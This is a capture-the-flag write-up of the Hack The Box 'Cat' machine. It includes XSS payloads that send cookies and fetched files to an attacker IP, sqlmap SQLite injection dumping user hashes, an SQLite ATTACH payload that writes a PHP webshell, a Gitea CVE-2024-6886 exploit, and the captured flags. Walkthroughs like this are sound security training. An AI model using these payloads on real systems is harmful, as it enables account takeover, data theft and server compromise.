Cat
This machine involves Stored XSS with public exploits very much fun to solve!
Machine Link 🛡️ | Cat |
---|---|
Operating System | Linux |
Difficulty | Medium |
Machine Created by | FisMatHack |
1️⃣ Introduction
Cat is a medium-difficulty Linux machine that features a custom PHP web application vulnerable to cross-site scripting (XSS),SQL injection on SQLite database. And for privilege escalation I will be exploiting CVE CVE-2024-6886 that is an XSS vulnerability on Gitea that can give me root user.
2️⃣ Port Scanning
Why:
- I will be using Nmap Tool for
Network Mapping
for the victim machine to enumerate for the open ports. - I am using it because it gives me a detailed output with the help of all the necessary flags.
Commands:
1
nmap -sC -sV -p- -oN nmap.txt 10.10.x.x
1
2
3
4
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We got 2 open ports 🔻
22
: This port is for SSH connection and not vulnerable on and not in focus for further enumeration.80
: This port running Apache web server so lets start with this enumeration for any vulnerability into the web application.
3️⃣ Web Enumeration
Lets check on port 80 and while browsing this IP takes me to its domain name cat.htb
. Lets set the /etc/hosts
file with IP and its domain name. This is because we can recognize the IP:80 with its domain name.
Lets find some more files from this site through directory listing or brute-forcing using tools like feroxbuster, dirb, gobuster as you like.
1
└─$ feroxbuster -u http://cat.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt -t 100 -C 403,404,400,503,500 -k -x txt,php -o ferox.json
Directory Bruteforce with
feroxbuster
tool
Lets grab these /.git/
directory files into our system through git_dumper.py Tool. You can also download git-dumper through this command 🔽
1
pipx install git-dumper
1
└─$ python3 ~/Downloads/git-dumper/git_dumper.py http://cat.htb/.git/ Git/
git-dumper Tool into Git directory omits the source code of its webpage page
Let’s see what we get from this .git
directory into our Git
folder 🔻
Files and Folders that are extracted from
.git
directory
Let’s enumerate some file upload functionalities and hidden gems from these source code files 🔽
I looked into a file named as contest.php
that lets me register a cat with its credentials and though its source code, I got to know that 🔻
Input validation has be implemented into the registration form for each fields
This variable $forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
does not let me inject any kind of injection like XSS,SSTI or any sqli so let’s look for any other input pages like user registration page (join.php
) or the login page for injection.
But I have to confirm that this variable is not present for any other validation purposes otherwise I would not be able to test this injection for those files ⤵️
Only
contest.php
contains this input restricted validation string
That means see the source code of join.php
for any other restrictions or validation implementation.
join.php
Page only validates the input commands not for any injection validations
This let me curious for trying many injection vulnerabilities and let’s catch for its response.
1
<script>fetch('http://10.10.16.8/steal?cookie=' + btoa(document.cookie));</script>
Here is the full working of admin call and stealing the cookie from the site 🔻
Full walkthrough of the xss cookie steal
Now let’s use this cookie to be an admin like this 🔻
Demonstration of Cookies on this site
This way I got the admin panel enabled now I can use 3 options that is 🔻
Now Let’s see the Accept Page and its source code 🔻
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include 'config.php';
session_start();
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['catId']) && isset($_POST['catName'])) {
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
$stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
$stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
$stmt_delete->execute();
echo "The cat has been accepted and added successfully.";
} else {
echo "Error: Cat ID or Cat Name not provided.";
}
} else {
header("Location: /");
exit();
}
} else {
echo "Access denied.";
}
?>
Here In this code the value of catName
is directory entered to the database that makes it SQL vulnerable
that means we have SQLite Injection
here. Another reason I am the site administrator is to have the admin user cookie, which expires quickly, thus I had to create the cookie several times during the SQL injection process.
4️⃣ Vulnerability Identification
SQLite Injection Vulnerability :
What it is: This SQLite is a database and contain data of the website which includes credentials
Why the target is vulnerable: Due to poor input validation check and misconfig, etc.
Links:
5️⃣ Exploitation
Content:
For exploitation of this vulnerability I used Tool called SQLMAP that works for any kind of SQL Injection attack.
Commands used:
1
└─$ sqlmap -r accept_cat.req --thread=10 -p 'catName' --batch --dbms=sqlite --level=5 --risk=3 --dbs cats -T users --dump
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__H__
___ ___[(]_____ ___ ___ {1.9.6#stable}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_|' https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end users responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @
[09:53:30] [INFO] parsing HTTP request from 'accept_cat.req'
[09:53:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: catName (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catName=BLLI'||(SELECT CHAR(122,73,72,84) WHERE 2252=2252 AND 9867=9867)||'&catId=1
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: catName=BLLI'||(SELECT CHAR(86,122,113,106) WHERE 3267=3267 AND 4167=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&catId=1
---
[09:53:32] [INFO] testing SQLite
user_id | password | username | |
---|---|---|---|
1 | axel2017@gmail.com | dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf | axel |
2 | rosamendoza485@gmail.com | ac369922d560f17d6eebxxxxxxxxxx98c | rosa |
3 | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad | robert |
4 | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe | fabian |
5 | jerrysonC343@gmail.com | 791593h190?????????????????????? | jerryson |
6 | larryP5656@gmail.com | 1b6dce240bbfbc0905a664ad199e18f8 | larry |
7 | royer.royer2323@gmail.com | c598f6b844a36fa7836fba0835f1f6 | royer |
8 | peterCC456@gmail.com | e41ccefa439fc454f7eadbf1f139ed8a | peter |
9 | angel234g@gmail.com | 24a8ec003ac2e1b3c5953a6f95f8f565 | angel |
10 | jobert2020@gmail.com | 88e4dceccd48820cf77b5cf6c08698ad | jobert |
11 | admin1@gmail.com | 21232f297a57a5a743894a0e4a801fc3 (admin) | <script> fetch('http://10.10.16.15/steal2?cookie=' + btoa(document.cookie));</script> |
Now I used the online md5
hash cracking platform called md5hashing. There I got my axel
user’s password and It worked for SSH connection.
Now for the Alternative method we can also use
SQLite Injection
for RCE with this payload 🔻1 2 3 4 5
## SQLite Remote Code Execution ### Attach Database ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
As per the parameter of
catName
the script state this 🔻$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
so for the injection to work I need to modify it like this ⏬
1 2 3
cat123');ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
Note : That the path may differ for the
lol.php
file as per the write access of the default user on the victim machine.
- This will add a
RFI (Remote File Inclusion)
file that will act as a command execution webshell.
6️⃣ Getting Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
└─$ ssh axel@cat.htb
axel@cat.htbs password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
You have mail.
Last login: Wed Jul 16 04:38:20 2025 from 10.10.16.15
axel@cat:~$ whoami
axel
axel@cat:~$ id
uid=1000(axel) gid=1000(axel) groups=1000(axel)
axel@cat:~$ hostname
cat
axel@cat:~$ ls -al
total 32
drwxr-x--- 5 axel axel 4096 Jan 21 12:52 .
drwxr-xr-x 6 root root 4096 Aug 30 2024 ..
lrwxrwxrwx 1 root root 9 Jan 21 12:49 .bash_history -> /dev/null
-rw-r--r-- 1 axel axel 3739 Aug 29 2024 .bashrc
drwx------ 2 axel axel 4096 Sep 7 2024 .cache
drwxrwxr-x 3 axel axel 4096 Sep 4 2024 .local
-rw-r--r-- 1 axel axel 807 Feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 Sep 4 2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root 9 Jan 21 12:49 .sqlite_history -> /dev/null
drwx------ 2 axel axel 4096 Jan 14 17:09 .ssh
-rw-r----- 1 root axel 33 Jul 16 04:01 user.txt
axel@cat:~$ cat user.txt
370ffa0110541d137e67c7ef41b0d9cb
axel@cat:~$
As I logged in I got a message indicating that You have mail.
so lets check the /var/mail
and here I found these mails from rose
user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
axel@cat:/var/mail$ cat axel
From rosa@cat.htb Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From rosa@cat.htb Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
That indicates that there is an another site running locally lets see 🔻
1
2
3
4
5
6
7
8
9
10
11
12
13
14
axel@cat:/var/mail$ ss -tunlp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 1 127.0.0.1:36277 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 10 127.0.0.1:25 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:56999 0.0.0.0:*
tcp LISTEN 0 37 127.0.0.1:54025 0.0.0.0:*
tcp LISTEN 0 10 127.0.0.1:587 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
axel@cat:/var/mail$
Port 3000 is running locally lets access it on the attacker machine outsite with SSH port forwarding method like this 🔻
1
2
└─$ ssh -L 3000:127.0.0.1:3000 axel@cat.htb
axel@cat.htb's password:
7️⃣ Vulnerability Identification
Gitea version 1.22.0 ▶️ CVE-2024-6886 :
What it is: Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user’s session.
Why the target is vulnerable: This site have this version installed.
Links:
8️⃣ Post-Exploitation Enumeration
For Exploitation of this vulnerability I will be using the same exploit-db path ways on the difference will be my payload 🔻
Payload uploading on description option
The poc exploit payload looks like this 🔻
1
<a href=javascript:alert()>XSS test</a>
Lets generate a payload to have to capture the reponse of the link that will be clicked by the server user or the admin.
Kimi AI used for one-liner payload generation
1
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md').then(r=>r.text()).then(t=>fetch('http://10.10.16.15/',{method:'POST',body:t}));void(0);">XSS test</a>
I have to send the mail to the joseph
as per the mail sent by the rose instructions.
1
echo 'http://localhost:3000/axel/demo' | sendmail jobert@localhost
But this will not trigger unless I create a file into the git repo so.
Let capture the response on the netcat
listeners 🔻
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.16.22] from (UNKNOWN) [10.10.11.53] 44186
POST / HTTP/1.1
Host: 10.10.16.22
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 117
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4
# Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees.
I did not find README.md
file so lets look for the index.php
file may be I could find some information there 🔻
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
└─$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.16.22] from (UNKNOWN) [10.10.11.53] 54836
POST / HTTP/1.1
Host: 10.10.16.22
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 420
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4
<?php
$valid_username = 'admin';
$valid_password = 'xxxxxxxxxxxxxxxx';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
header('Location: dashboard.php');
exit;
?>
I got the creds now lets have a root access.
9️⃣ Root Access
This is how I got the root access 🔻
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
axel@cat:/tmp$ su - root
Password:
root@cat:~# whoami
root
root@cat:~# id
uid=0(root) gid=0(root) groups=0(root)
root@cat:~# cd /root
root@cat:~# ls -al
total 56
drwx------ 8 root root 4096 Jul 18 04:02 .
drwxr-xr-x 19 root root 4096 Aug 31 2024 ..
lrwxrwxrwx 1 root root 9 Jan 21 12:49 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Aug 29 2024 .bashrc
drwxr-xr-x 5 root root 4096 Jul 22 2024 .cache
drwx------ 3 root root 4096 Jan 14 2025 .config
-rw-r--r-- 1 root root 85 Jun 4 2024 .gitconfig
drwxr-xr-x 3 root root 4096 Jun 3 2024 .local
drwx------ 3 root root 4096 Jun 12 2024 .mozilla
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r----- 1 root root 33 Jul 18 04:02 root.txt
drwxr-xr-x 3 root root 4096 Sep 28 2024 scripts
-rw-r--r-- 1 root root 66 Jun 8 2024 .selected_editor
lrwxrwxrwx 1 root root 9 Jan 21 12:49 .sqlite_history -> /dev/null
drwx------ 2 root root 4096 Jan 14 2025 .ssh
-rw-r--r-- 1 root root 165 Jan 21 12:49 .wget-hsts
root@cat:~# cat root.txt
3e353271782c9d7d7969e8ff4cb9bf9a
root@cat:~#
🔍 Mitigation
✅ Patch the XSS Vulnerability
so that unauthorized user can’t steal the cookies.
✅ Patch the Gitea
version so that public exploit don’t work on them.
✅ Lastly Patch the SQLi vulnerability on SQLite
database.
✅ Another thing is that don’t give any unauthorized system user with group privileges with adm
that allows access to readable login creds logs.
💡 Takeaways
✅ I got to learn about the stored XSS vulnerability
.
✅ This machine lets me think about the other web vulnerabilities like XSS injections
rather then other injections.
✅ I got to learn about the adm group privileges + the SQLi to RCE method with SQLite Injection
also used AI for crafting the one-liner JS payload
.
📌 References
If you have any questions or suggestions, please leave a comment below or DM me on Twitter. Thank you!